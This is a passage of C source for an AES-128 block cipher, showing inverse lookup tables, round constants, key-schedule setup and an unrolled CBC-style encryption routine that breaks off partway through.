0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU,
0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU,
0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U,
0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU,
0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U,
0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U,
0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U,
0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U,
0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U,
0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U,
0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U,
0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU,
0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U,
0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U,
0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU,
0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U,
0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U,
0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U,
0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U,
};
static const unsigned int Td2[256] =
{
0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U,
0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U,
0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U,
0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U,
0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU,
0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U,
0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U,
0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U,
0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U,
0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU,
0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U,
0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U,
0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU,
0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U,
0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U,
0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U,
0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U,
0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U,
0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U,
0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU,
0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U,
0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U,
0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U,
0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U,
0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U,
0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU,
0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU,
0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U,
0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU,
0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U,
0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU,
0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU,
0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU,
0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU,
0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U,
0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U,
0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U,
0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U,
0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U,
0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U,
0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U,
0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU,
0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU,
0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U,
0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U,
0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU,
0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU,
0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U,
0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U,
0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U,
0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U,
0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U,
0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U,
0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U,
0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU,
0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U,
0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U,
0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U,
0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U,
0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U,
0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U,
0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU,
0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U,
0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U,
};
static const unsigned int Td3[256] =
{
0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU,
0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU,
0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U,
0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U,
0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU,
0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU,
0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U,
0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU,
0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U,
0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU,
0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U,
0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U,
0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U,
0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U,
0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U,
0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU,
0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU,
0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U,
0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U,
0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU,
0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU,
0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U,
0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U,
0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U,
0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U,
0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU,
0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U,
0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U,
0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU,
0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU,
0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U,
0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U,
0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U,
0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU,
0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U,
0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U,
0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U,
0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U,
0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U,
0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U,
0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U,
0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU,
0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U,
0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U,
0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU,
0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU,
0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U,
0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU,
0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U,
0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U,
0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U,
0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U,
0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U,
0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U,
0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU,
0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU,
0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU,
0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU,
0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U,
0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U,
0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U,
0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU,
0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U,
0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U,
};
static const unsigned int Td4[256] =
{
0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U,
0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U,
0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU,
0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU,
0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U,
0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U,
0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U,
0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU,
0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U,
0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU,
0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU,
0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU,
0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U,
0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U,
0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U,
0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U,
0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U,
0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U,
0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU,
0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U,
0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U,
0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU,
0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U,
0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U,
0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U,
0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU,
0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U,
0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U,
0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU,
0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U,
0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U,
0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU,
0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U,
0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU,
0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU,
0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U,
0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U,
0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U,
0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U,
0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU,
0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U,
0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U,
0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU,
0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU,
0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU,
0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U,
0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU,
0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U,
0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U,
0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U,
0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U,
0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU,
0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U,
0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU,
0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU,
0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU,
0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU,
0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U,
0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU,
0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U,
0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU,
0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U,
0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U,
0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU,
};
static const unsigned int rcon[10] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000,
0x10000000, 0x20000000, 0x40000000, 0x80000000,
0x1B000000, 0x36000000
};
typedef struct {
unsigned int roundkey[44];
unsigned int iv[4];
} AES_CTX;
static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
ctx->roundkey[0] = GETU32(key + 0);
ctx->roundkey[1] = GETU32(key + 4);
ctx->roundkey[2] = GETU32(key + 8);
ctx->roundkey[3] = GETU32(key + 12);
ctx->iv[0] = GETU32(iv + 0);
ctx->iv[1] = GETU32(iv + 4);
ctx->iv[2] = GETU32(iv + 8);
ctx->iv[3] = GETU32(iv + 12);
for (unsigned char index = 4; index < 44; index += 4) {
ctx->roundkey[index] = ctx->roundkey[index - 4] ^
(Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^
(Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^
(Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^
(Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1];
ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index];
ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1];
ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2];
}
}
static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
AES_EncryptInit(ctx, key, iv);
unsigned int temp;
// Next, invert the order of the round keys.
for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) {
for (uint8_t k = 0; k < 4; k++) {
temp = ctx->roundkey[i + k];
ctx->roundkey[i + k] = ctx->roundkey[j + k];
ctx->roundkey[j + k] = temp;
}
}
// Finally, apply the inverse MixColumn transform to all round keys except the first and last.
for (unsigned char index = 4; index < 40; index += 4) {
ctx->roundkey[index] =
Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff];
ctx->roundkey[index + 1] =
Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff];
ctx->roundkey[index + 2] =
Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff];
ctx->roundkey[index + 3] =
Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff];
}
}
static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
// Initial round
s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0];
s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1];
s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2];
s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3];
// round 1
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7];
// round 2
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11];
// round 3
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15];
// round 4
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19];
// round 5
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23];
// round 6
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27];
// round 7
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31];
// round 8
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35];
// round 9
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39];
// Final round
s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
// Output the result
PUTU32(out_data + 0, s0);
PUTU32(out_data + 4, s1);
PUTU32(out_data + 8, s2);
PUTU32(out_data + 12, s3);
ctx->iv[0] = s0;
ctx->iv[1] = s1;
ctx->iv[2] = s2;
